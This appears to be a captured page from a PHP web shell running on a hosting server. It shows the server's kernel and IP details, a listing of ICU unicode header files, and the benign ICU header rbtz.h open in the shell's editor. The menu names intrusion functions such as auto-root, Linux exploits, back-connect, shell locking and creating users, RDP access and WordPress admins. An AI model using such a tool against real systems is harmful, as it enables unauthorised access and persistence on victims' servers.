Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 18.227.48.237
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
libicu /
usr /
include /
unicode /
[ HOME SHELL ]
Name
Size
Permission
Action
alphaindex.h
26.42
KB
-rw-r--r--
appendable.h
8.43
KB
-rw-r--r--
basictz.h
8.84
KB
-rw-r--r--
brkiter.h
27.64
KB
-rw-r--r--
bytestream.h
9.54
KB
-rw-r--r--
bytestrie.h
19.26
KB
-rw-r--r--
bytestriebuilder.h
7.02
KB
-rw-r--r--
calendar.h
105.06
KB
-rw-r--r--
caniter.h
7.37
KB
-rw-r--r--
casemap.h
25.26
KB
-rw-r--r--
char16ptr.h
7.16
KB
-rw-r--r--
chariter.h
24
KB
-rw-r--r--
choicfmt.h
23.85
KB
-rw-r--r--
coleitr.h
13.7
KB
-rw-r--r--
coll.h
55.59
KB
-rw-r--r--
compactdecimalformat.h
6.81
KB
-rw-r--r--
curramt.h
3.69
KB
-rw-r--r--
currpinf.h
7.24
KB
-rw-r--r--
currunit.h
3.99
KB
-rw-r--r--
datefmt.h
40.37
KB
-rw-r--r--
dbbi.h
1.11
KB
-rw-r--r--
dcfmtsym.h
20.1
KB
-rw-r--r--
decimfmt.h
87.82
KB
-rw-r--r--
docmain.h
6.96
KB
-rw-r--r--
dtfmtsym.h
37.64
KB
-rw-r--r--
dtintrv.h
3.78
KB
-rw-r--r--
dtitvfmt.h
46.56
KB
-rw-r--r--
dtitvinf.h
18.46
KB
-rw-r--r--
dtptngen.h
25.08
KB
-rw-r--r--
dtrule.h
8.62
KB
-rw-r--r--
edits.h
20.67
KB
-rw-r--r--
enumset.h
2.08
KB
-rw-r--r--
errorcode.h
4.78
KB
-rw-r--r--
fieldpos.h
8.63
KB
-rw-r--r--
filteredbrk.h
5.24
KB
-rw-r--r--
fmtable.h
24.36
KB
-rw-r--r--
format.h
12.44
KB
-rw-r--r--
formattedvalue.h
9.73
KB
-rw-r--r--
fpositer.h
2.98
KB
-rw-r--r--
gender.h
3.27
KB
-rw-r--r--
gregocal.h
31.57
KB
-rw-r--r--
icudataver.h
1.03
KB
-rw-r--r--
icuplug.h
11.88
KB
-rw-r--r--
idna.h
12.63
KB
-rw-r--r--
listformatter.h
9.42
KB
-rw-r--r--
localebuilder.h
10.54
KB
-rw-r--r--
localpointer.h
19.69
KB
-rw-r--r--
locdspnm.h
7.06
KB
-rw-r--r--
locid.h
44.94
KB
-rw-r--r--
measfmt.h
11.44
KB
-rw-r--r--
measunit.h
88.17
KB
-rw-r--r--
measure.h
4.26
KB
-rw-r--r--
messagepattern.h
33.65
KB
-rw-r--r--
msgfmt.h
44.04
KB
-rw-r--r--
normalizer2.h
33.97
KB
-rw-r--r--
normlzr.h
30.74
KB
-rw-r--r--
nounit.h
2.63
KB
-rw-r--r--
numberformatter.h
84.62
KB
-rw-r--r--
numberrangeformatter.h
29.93
KB
-rw-r--r--
numfmt.h
49.35
KB
-rw-r--r--
numsys.h
7.13
KB
-rw-r--r--
parseerr.h
3.08
KB
-rw-r--r--
parsepos.h
5.5
KB
-rw-r--r--
platform.h
27.1
KB
-rw-r--r--
plurfmt.h
25.18
KB
-rw-r--r--
plurrule.h
18.33
KB
-rw-r--r--
ptypes.h
3.49
KB
-rw-r--r--
putil.h
6.33
KB
-rw-r--r--
rbbi.h
26.42
KB
-rw-r--r--
rbnf.h
49.79
KB
-rw-r--r--
rbtz.h
15.47
KB
-rw-r--r--
regex.h
84.3
KB
-rw-r--r--
region.h
9.12
KB
-rw-r--r--
reldatefmt.h
22.37
KB
-rw-r--r--
rep.h
9.5
KB
-rw-r--r--
resbund.h
18.01
KB
-rw-r--r--
schriter.h
6.26
KB
-rw-r--r--
scientificnumberformatter.h
6.32
KB
-rw-r--r--
search.h
22.21
KB
-rw-r--r--
selfmt.h
14.24
KB
-rw-r--r--
simpleformatter.h
12.53
KB
-rw-r--r--
simpletz.h
45.3
KB
-rw-r--r--
smpdtfmt.h
70.9
KB
-rw-r--r--
sortkey.h
11.12
KB
-rw-r--r--
std_string.h
1015
B
-rw-r--r--
strenum.h
10.04
KB
-rw-r--r--
stringoptions.h
5.79
KB
-rw-r--r--
stringpiece.h
6.46
KB
-rw-r--r--
stringtriebuilder.h
15.27
KB
-rw-r--r--
stsearch.h
21.29
KB
-rw-r--r--
symtable.h
4.21
KB
-rw-r--r--
tblcoll.h
36.4
KB
-rw-r--r--
timezone.h
41.2
KB
-rw-r--r--
tmunit.h
3.29
KB
-rw-r--r--
tmutamt.h
4.8
KB
-rw-r--r--
tmutfmt.h
7.79
KB
-rw-r--r--
translit.h
65.76
KB
-rw-r--r--
tzfmt.h
42.82
KB
-rw-r--r--
tznames.h
16.79
KB
-rw-r--r--
tzrule.h
35.32
KB
-rw-r--r--
tztrans.h
6.07
KB
-rw-r--r--
ubidi.h
89.56
KB
-rw-r--r--
ubiditransform.h
12.65
KB
-rw-r--r--
ubrk.h
23.97
KB
-rw-r--r--
ucal.h
55.54
KB
-rw-r--r--
ucasemap.h
15.18
KB
-rw-r--r--
ucat.h
5.36
KB
-rw-r--r--
uchar.h
140.66
KB
-rw-r--r--
ucharstrie.h
21.06
KB
-rw-r--r--
ucharstriebuilder.h
7.14
KB
-rw-r--r--
uchriter.h
13.14
KB
-rw-r--r--
uclean.h
11.21
KB
-rw-r--r--
ucnv.h
83.09
KB
-rw-r--r--
ucnv_cb.h
6.59
KB
-rw-r--r--
ucnv_err.h
20.99
KB
-rw-r--r--
ucnvsel.h
6.14
KB
-rw-r--r--
ucol.h
61.39
KB
-rw-r--r--
ucoleitr.h
9.46
KB
-rw-r--r--
uconfig.h
12.05
KB
-rw-r--r--
ucpmap.h
5.58
KB
-rw-r--r--
ucptrie.h
22.29
KB
-rw-r--r--
ucsdet.h
14.67
KB
-rw-r--r--
ucurr.h
16.15
KB
-rw-r--r--
udat.h
60.81
KB
-rw-r--r--
udata.h
15.53
KB
-rw-r--r--
udateintervalformat.h
10.03
KB
-rw-r--r--
udatpg.h
25.94
KB
-rw-r--r--
udisplaycontext.h
5.89
KB
-rw-r--r--
uenum.h
7.78
KB
-rw-r--r--
ufieldpositer.h
4.36
KB
-rw-r--r--
uformattable.h
10.94
KB
-rw-r--r--
uformattedvalue.h
12.14
KB
-rw-r--r--
ugender.h
2
KB
-rw-r--r--
uidna.h
33.37
KB
-rw-r--r--
uiter.h
22.77
KB
-rw-r--r--
uldnames.h
10.45
KB
-rw-r--r--
ulistformatter.h
8.83
KB
-rw-r--r--
uloc.h
50.75
KB
-rw-r--r--
ulocdata.h
11.26
KB
-rw-r--r--
umachine.h
13.19
KB
-rw-r--r--
umisc.h
1.33
KB
-rw-r--r--
umsg.h
24.23
KB
-rw-r--r--
umutablecptrie.h
8.28
KB
-rw-r--r--
unifilt.h
3.63
KB
-rw-r--r--
unifunct.h
3.98
KB
-rw-r--r--
unimatch.h
6.04
KB
-rw-r--r--
unirepl.h
3.32
KB
-rw-r--r--
uniset.h
64.88
KB
-rw-r--r--
unistr.h
170.39
KB
-rw-r--r--
unorm.h
20.45
KB
-rw-r--r--
unorm2.h
24.66
KB
-rw-r--r--
unum.h
53.55
KB
-rw-r--r--
unumberformatter.h
25.19
KB
-rw-r--r--
unumsys.h
7.21
KB
-rw-r--r--
uobject.h
10.85
KB
-rw-r--r--
upluralrules.h
7.88
KB
-rw-r--r--
uregex.h
72.05
KB
-rw-r--r--
uregion.h
9.84
KB
-rw-r--r--
ureldatefmt.h
17.26
KB
-rw-r--r--
urename.h
131.4
KB
-rw-r--r--
urep.h
5.38
KB
-rw-r--r--
ures.h
36.54
KB
-rw-r--r--
uscript.h
26.87
KB
-rw-r--r--
usearch.h
38.12
KB
-rw-r--r--
uset.h
40
KB
-rw-r--r--
usetiter.h
9.49
KB
-rw-r--r--
ushape.h
18
KB
-rw-r--r--
uspoof.h
66.03
KB
-rw-r--r--
usprep.h
8.14
KB
-rw-r--r--
ustdio.h
38.54
KB
-rw-r--r--
ustream.h
1.8
KB
-rw-r--r--
ustring.h
72.47
KB
-rw-r--r--
ustringtrie.h
3.15
KB
-rw-r--r--
utext.h
58.11
KB
-rw-r--r--
utf.h
7.86
KB
-rw-r--r--
utf16.h
22.33
KB
-rw-r--r--
utf32.h
763
B
-rw-r--r--
utf8.h
29.96
KB
-rw-r--r--
utf_old.h
43.78
KB
-rw-r--r--
utmscale.h
13.78
KB
-rw-r--r--
utrace.h
13.89
KB
-rw-r--r--
utrans.h
25.54
KB
-rw-r--r--
utypes.h
30.38
KB
-rw-r--r--
uvernum.h
6.67
KB
-rw-r--r--
uversion.h
6.7
KB
-rw-r--r--
vtzone.h
20.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rbtz.h
// © 2016 and later: Unicode, Inc. and others. // License & terms of use: http://www.unicode.org/copyright.html /* ******************************************************************************* * Copyright (C) 2007-2013, International Business Machines Corporation and * * others. All Rights Reserved. * ******************************************************************************* */ #ifndef RBTZ_H #define RBTZ_H #include "unicode/utypes.h" /** * \file * \brief C++ API: Rule based customizable time zone */ #if !UCONFIG_NO_FORMATTING #include "unicode/basictz.h" #include "unicode/unistr.h" U_NAMESPACE_BEGIN // forward declaration class UVector; struct Transition; /** * a BasicTimeZone subclass implemented in terms of InitialTimeZoneRule and TimeZoneRule instances * @see BasicTimeZone * @see InitialTimeZoneRule * @see TimeZoneRule */ class U_I18N_API RuleBasedTimeZone : public BasicTimeZone { public: /** * Constructs a <code>RuleBasedTimeZone</code> object with the ID and the * <code>InitialTimeZoneRule</code>. The input <code>InitialTimeZoneRule</code> * is adopted by this <code>RuleBasedTimeZone</code>, thus the caller must not * delete it. * @param id The time zone ID. * @param initialRule The initial time zone rule. * @stable ICU 3.8 */ RuleBasedTimeZone(const UnicodeString& id, InitialTimeZoneRule* initialRule); /** * Copy constructor. * @param source The RuleBasedTimeZone object to be copied. * @stable ICU 3.8 */ RuleBasedTimeZone(const RuleBasedTimeZone& source); /** * Destructor. * @stable ICU 3.8 */ virtual ~RuleBasedTimeZone(); /** * Assignment operator. * @param right The object to be copied. * @stable ICU 3.8 */ RuleBasedTimeZone& operator=(const RuleBasedTimeZone& right); /** * Return true if the given <code>TimeZone</code> objects are * semantically equal. Objects of different subclasses are considered unequal. * @param that The object to be compared with. * @return true if the given <code>TimeZone</code> objects are *semantically equal. * @stable ICU 3.8 */ virtual UBool operator==(const TimeZone& that) const; /** * Return true if the given <code>TimeZone</code> objects are * semantically unequal. Objects of different subclasses are considered unequal. * @param that The object to be compared with. * @return true if the given <code>TimeZone</code> objects are * semantically unequal. * @stable ICU 3.8 */ virtual UBool operator!=(const TimeZone& that) const; /** * Adds the <code>TimeZoneRule</code> which represents time transitions. * The <code>TimeZoneRule</code> must have start times, that is, the result * of isTransitionRule() must be true. Otherwise, U_ILLEGAL_ARGUMENT_ERROR * is set to the error code. * The input <code>TimeZoneRule</code> is adopted by this * <code>RuleBasedTimeZone</code> on successful completion of this method, * thus, the caller must not delete it when no error is returned. * After all rules are added, the caller must call complete() method to * make this <code>RuleBasedTimeZone</code> ready to handle common time * zone functions. * @param rule The <code>TimeZoneRule</code>. * @param status Output param to filled in with a success or an error. * @stable ICU 3.8 */ void addTransitionRule(TimeZoneRule* rule, UErrorCode& status); /** * Makes the <code>TimeZoneRule</code> ready to handle actual timezone * calcuation APIs. This method collects time zone rules specified * by the caller via the constructor and addTransitionRule() and * builds internal structure for making the object ready to support * time zone APIs such as getOffset(), getNextTransition() and others. * @param status Output param to filled in with a success or an error. * @stable ICU 3.8 */ void complete(UErrorCode& status); /** * Clones TimeZone objects polymorphically. Clients are responsible for deleting * the TimeZone object cloned. * * @return A new copy of this TimeZone object. * @stable ICU 3.8 */ virtual TimeZone* clone(void) const; /** * Returns the TimeZone's adjusted GMT offset (i.e., the number of milliseconds to add * to GMT to get local time in this time zone, taking daylight savings time into * account) as of a particular reference date. The reference date is used to determine * whether daylight savings time is in effect and needs to be figured into the offset * that is returned (in other words, what is the adjusted GMT offset in this time zone * at this particular date and time?). For the time zones produced by createTimeZone(), * the reference data is specified according to the Gregorian calendar, and the date * and time fields are local standard time. * * <p>Note: Don't call this method. Instead, call the getOffset(UDate...) overload, * which returns both the raw and the DST offset for a given time. This method * is retained only for backward compatibility. * * @param era The reference date's era * @param year The reference date's year * @param month The reference date's month (0-based; 0 is January) * @param day The reference date's day-in-month (1-based) * @param dayOfWeek The reference date's day-of-week (1-based; 1 is Sunday) * @param millis The reference date's milliseconds in day, local standard time * @param status Output param to filled in with a success or an error. * @return The offset in milliseconds to add to GMT to get local time. * @stable ICU 3.8 */ virtual int32_t getOffset(uint8_t era, int32_t year, int32_t month, int32_t day, uint8_t dayOfWeek, int32_t millis, UErrorCode& status) const; /** * Gets the time zone offset, for current date, modified in case of * daylight savings. This is the offset to add *to* UTC to get local time. * * <p>Note: Don't call this method. Instead, call the getOffset(UDate...) overload, * which returns both the raw and the DST offset for a given time. This method * is retained only for backward compatibility. * * @param era The reference date's era * @param year The reference date's year * @param month The reference date's month (0-based; 0 is January) * @param day The reference date's day-in-month (1-based) * @param dayOfWeek The reference date's day-of-week (1-based; 1 is Sunday) * @param millis The reference date's milliseconds in day, local standard time * @param monthLength The length of the given month in days. * @param status Output param to filled in with a success or an error. * @return The offset in milliseconds to add to GMT to get local time. * @stable ICU 3.8 */ virtual int32_t getOffset(uint8_t era, int32_t year, int32_t month, int32_t day, uint8_t dayOfWeek, int32_t millis, int32_t monthLength, UErrorCode& status) const; /** * Returns the time zone raw and GMT offset for the given moment * in time. Upon return, local-millis = GMT-millis + rawOffset + * dstOffset. All computations are performed in the proleptic * Gregorian calendar. The default implementation in the TimeZone * class delegates to the 8-argument getOffset(). * * @param date moment in time for which to return offsets, in * units of milliseconds from January 1, 1970 0:00 GMT, either GMT * time or local wall time, depending on `local'. * @param local if true, `date' is local wall time; otherwise it * is in GMT time. * @param rawOffset output parameter to receive the raw offset, that * is, the offset not including DST adjustments * @param dstOffset output parameter to receive the DST offset, * that is, the offset to be added to `rawOffset' to obtain the * total offset between local and GMT time. If DST is not in * effect, this value is zero; otherwise it is a positive value, * typically one hour. * @param ec input-output error code * @stable ICU 3.8 */ virtual void getOffset(UDate date, UBool local, int32_t& rawOffset, int32_t& dstOffset, UErrorCode& ec) const; /** * Sets the TimeZone's raw GMT offset (i.e., the number of milliseconds to add * to GMT to get local time, before taking daylight savings time into account). * * @param offsetMillis The new raw GMT offset for this time zone. * @stable ICU 3.8 */ virtual void setRawOffset(int32_t offsetMillis); /** * Returns the TimeZone's raw GMT offset (i.e., the number of milliseconds to add * to GMT to get local time, before taking daylight savings time into account). * * @return The TimeZone's raw GMT offset. * @stable ICU 3.8 */ virtual int32_t getRawOffset(void) const; /** * Queries if this time zone uses daylight savings time. * @return true if this time zone uses daylight savings time, * false, otherwise. * @stable ICU 3.8 */ virtual UBool useDaylightTime(void) const; /** * Queries if the given date is in daylight savings time in * this time zone. * This method is wasteful since it creates a new GregorianCalendar and * deletes it each time it is called. This is a deprecated method * and provided only for Java compatibility. * * @param date the given UDate. * @param status Output param filled in with success/error code. * @return true if the given date is in daylight savings time, * false, otherwise. * @deprecated ICU 2.4. Use Calendar::inDaylightTime() instead. */ virtual UBool inDaylightTime(UDate date, UErrorCode& status) const; /** * Returns true if this zone has the same rule and offset as another zone. * That is, if this zone differs only in ID, if at all. * @param other the <code>TimeZone</code> object to be compared with * @return true if the given zone is the same as this one, * with the possible exception of the ID * @stable ICU 3.8 */ virtual UBool hasSameRules(const TimeZone& other) const; /** * Gets the first time zone transition after the base time. * @param base The base time. * @param inclusive Whether the base time is inclusive or not. * @param result Receives the first transition after the base time. * @return TRUE if the transition is found. * @stable ICU 3.8 */ virtual UBool getNextTransition(UDate base, UBool inclusive, TimeZoneTransition& result) const; /** * Gets the most recent time zone transition before the base time. * @param base The base time. * @param inclusive Whether the base time is inclusive or not. * @param result Receives the most recent transition before the base time. * @return TRUE if the transition is found. * @stable ICU 3.8 */ virtual UBool getPreviousTransition(UDate base, UBool inclusive, TimeZoneTransition& result) const; /** * Returns the number of <code>TimeZoneRule</code>s which represents time transitions, * for this time zone, that is, all <code>TimeZoneRule</code>s for this time zone except * <code>InitialTimeZoneRule</code>. The return value range is 0 or any positive value. * @param status Receives error status code. * @return The number of <code>TimeZoneRule</code>s representing time transitions. * @stable ICU 3.8 */ virtual int32_t countTransitionRules(UErrorCode& status) const; /** * Gets the <code>InitialTimeZoneRule</code> and the set of <code>TimeZoneRule</code> * which represent time transitions for this time zone. On successful return, * the argument initial points to non-NULL <code>InitialTimeZoneRule</code> and * the array trsrules is filled with 0 or multiple <code>TimeZoneRule</code> * instances up to the size specified by trscount. The results are referencing the * rule instance held by this time zone instance. Therefore, after this time zone * is destructed, they are no longer available. * @param initial Receives the initial timezone rule * @param trsrules Receives the timezone transition rules * @param trscount On input, specify the size of the array 'transitions' receiving * the timezone transition rules. On output, actual number of * rules filled in the array will be set. * @param status Receives error status code. * @stable ICU 3.8 */ virtual void getTimeZoneRules(const InitialTimeZoneRule*& initial, const TimeZoneRule* trsrules[], int32_t& trscount, UErrorCode& status) const; /** * Get time zone offsets from local wall time. * @internal */ virtual void getOffsetFromLocal(UDate date, int32_t nonExistingTimeOpt, int32_t duplicatedTimeOpt, int32_t& rawOffset, int32_t& dstOffset, UErrorCode& status) const; private: void deleteRules(void); void deleteTransitions(void); UVector* copyRules(UVector* source); TimeZoneRule* findRuleInFinal(UDate date, UBool local, int32_t NonExistingTimeOpt, int32_t DuplicatedTimeOpt) const; UBool findNext(UDate base, UBool inclusive, UDate& time, TimeZoneRule*& from, TimeZoneRule*& to) const; UBool findPrev(UDate base, UBool inclusive, UDate& time, TimeZoneRule*& from, TimeZoneRule*& to) const; int32_t getLocalDelta(int32_t rawBefore, int32_t dstBefore, int32_t rawAfter, int32_t dstAfter, int32_t NonExistingTimeOpt, int32_t DuplicatedTimeOpt) const; UDate getTransitionTime(Transition* transition, UBool local, int32_t NonExistingTimeOpt, int32_t DuplicatedTimeOpt) const; void getOffsetInternal(UDate date, UBool local, int32_t NonExistingTimeOpt, int32_t DuplicatedTimeOpt, int32_t& rawOffset, int32_t& dstOffset, UErrorCode& ec) const; void completeConst(UErrorCode &status) const; InitialTimeZoneRule *fInitialRule; UVector *fHistoricRules; UVector *fFinalRules; UVector *fHistoricTransitions; UBool fUpToDate; public: /** * Return the class ID for this class. This is useful only for comparing to * a return value from getDynamicClassID(). For example: * <pre> * . Base* polymorphic_pointer = createPolymorphicObject(); * . if (polymorphic_pointer->getDynamicClassID() == * . erived::getStaticClassID()) ... * </pre> * @return The class ID for all objects of this class. * @stable ICU 3.8 */ static UClassID U_EXPORT2 getStaticClassID(void); /** * Returns a unique class ID POLYMORPHICALLY. Pure virtual override. This * method is to implement a simple version of RTTI, since not all C++ * compilers support genuine RTTI. Polymorphic operator==() and clone() * methods call this method. * * @return The class ID for this object. All objects of a * given class have the same class ID. Objects of * other classes have different class IDs. * @stable ICU 3.8 */ virtual UClassID getDynamicClassID(void) const; }; U_NAMESPACE_END #endif /* #if !UCONFIG_NO_FORMATTING */ #endif // RBTZ_H //eof
Close